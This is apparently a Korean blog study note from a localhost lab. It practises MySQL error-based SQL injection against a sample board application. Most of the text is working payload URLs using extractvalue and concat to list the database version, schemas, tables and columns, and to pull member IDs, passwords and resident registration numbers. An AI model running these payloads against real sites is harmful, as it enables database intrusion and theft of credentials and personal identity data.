Oh! JUN
MYSQL ERROR-BASED 공격 실습 본문
1. 기본 정보 목록화(DB버전, 사용자, 현재 DB명)
@@version/version(), system_user(), database()
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,@@version,0x0a))
- DB버전
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,system_user(),0x0a))
- DB 유저 정보
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,database(),0x0a))
- DB 이름
2. 메타 데이터 목록화
2-1. 순차적 목록화 : DB => TABLE => COLUMN
2-1-1. DB 목록화
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.schemata),0x0a))
- DB 개수
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+schema_name+from+information_schema.schemata+limit+7,1),0x0a))
- 순차적 레코드(limit) 사용해서 특정 행의 정보를 확인
- limit 7,1 : 8번째 행의 1개(8행인데 7로 표기하는 이유? 0행을 1로 표현하니까)
2-1-2. Table 목록화
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.tables+where+table_schema='board'),0x0a))
- DB이름이 'board'인 테이블의 개수
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+table_name+from+information_schema.tables+where+table_schema='board'+limit+0,1),0x0a))
- DB이름이 'board'이고 1번째 행의 테이블 이름
2-1-3. Column 목록화
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.columns+where+table_schema='board'+and+table_name='members'),0x0a))
- DB이름이 'board'이고 Table 이름이 'members'인 column 개수
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+concat(table_name,space(1),column_name)+from+information_schema.columns+where+table_schema='board'+and+table_name='members'+limit+0,1),0x0a))
- DB이름이 'board'이고 Table 이름이 'members'인 테이블에 테이블이름, 컬럼이름을 1행만 조회
- members 테이블이 4개 였으니까 limit 0,1 ~ limit 3,1까지 하면 컬럼 목록화 가능
2-1-4. Data 목록화
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+board.members),0x0a))
- board.members 데이터 개수
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+concat(idx,space(1),id,space(1),password,space(1),jumin)+from+board.members+limit+0,1),0x0a))
- board.members의 idx, id, password, jumin 컬럼 데이터의 1행만 조회
- space(1) : 띄어쓰기로 데이터 구분
- jumin이 뒤에 조금 짤린것을 확인할 수 있는데 이런 경우 jumin만 따로 조회시켜서 확인하면 됨
2-2. 비순차적 목록화
2-2-1. 테이블: mem, user, session, file, admin ...
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.tables+where+table_schema='board'+and+table_name+like+'%25mem%25'+limit+0,1),0x0a))
- DB 이름인 'board'와 Table 이름인 'mem'을 포함시키는 table의 개수
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+table_name+from+information_schema.tables+where+table_schema='board'+and+table_name+like+'%25mem%25'+limit+0,1),0x0a))
- DB 이름인 'board'와 Table 이름인 'mem'을 포함시키는 Table의 이름 1행
2-2-2. 컬럼 : id, pw, pass, jumin, ssn, card ....
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+count(*)+from+information_schema.columns+where+table_schema='board'+and+table_name='members'+and+column_name+like+'%25jumin%25'+limit+0,1),0x0a))
- DB 이름인 'board'와 Table 이름이 'members'이고, column이름이 'jumin'을 포함시키고 있는 column의 개수
- jumin 1개라서 limit 0,1 붙여도 상관없음
http://127.0.0.1/board/mysql/view.php?idx=extractvalue(0x0a,concat(0x0a,(select+column_name+from+information_schema.columns+where+table_schema='board'+and+table_name='members'+and+column_name+like+'%25jumin%25'+limit+0,1),0x0a))
- DB 이름이 'board'와 Table 이름이 'members'인 column이름에 'jumin'이 포함된 colunm 이름의 1행을 조회
'웹 해킹 > SQL Injection' 카테고리의 다른 글
효과적으로 DBMS 에러를 발견하기 위한 방법(설정) (0) | 2022.08.24 |
---|---|
ORACLE ERROR-BASED 공격 실습 (0) | 2022.08.23 |
ORACLE 메타데이터 목록화 (0) | 2022.08.17 |
MYSQL 메타데이터 목록화 (0) | 2022.08.16 |
ORACLE 순차적 레코드 출력 실습 (0) | 2022.08.14 |